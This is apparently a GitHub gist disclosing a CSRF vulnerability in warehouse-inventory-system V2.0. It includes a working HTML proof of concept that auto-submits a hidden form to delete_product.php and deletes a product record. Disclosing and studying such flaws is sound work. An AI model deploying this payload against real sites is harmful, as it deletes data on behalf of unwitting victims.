Skip to content

Instantly share code, notes, and snippets.

@topsky979
Created July 24, 2024 09:24
Show Gist options
  • Save topsky979/6037eaac5749430c29cf15fdd9df0ba5 to your computer and use it in GitHub Desktop.
Save topsky979/6037eaac5749430c29cf15fdd9df0ba5 to your computer and use it in GitHub Desktop.

[description]

warehouse-inventory-system was discovered to contain Cross-site request forgery(CSRF) vulnerability via the URI /delete_product.php.


[Vulnerability Type]

Cross-site request forgery(CSRF)


[Vendor of Product]

OSWAPP,https://github.com/siamon123/warehouse-inventory-system


[Affected Product Code Base]

V2.0


[Impact Escalation of Privileges]

true


[POC]

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://192.168.0.183:11180/delete_product.php">
      <input type="hidden" name="id" value="3" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>



Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment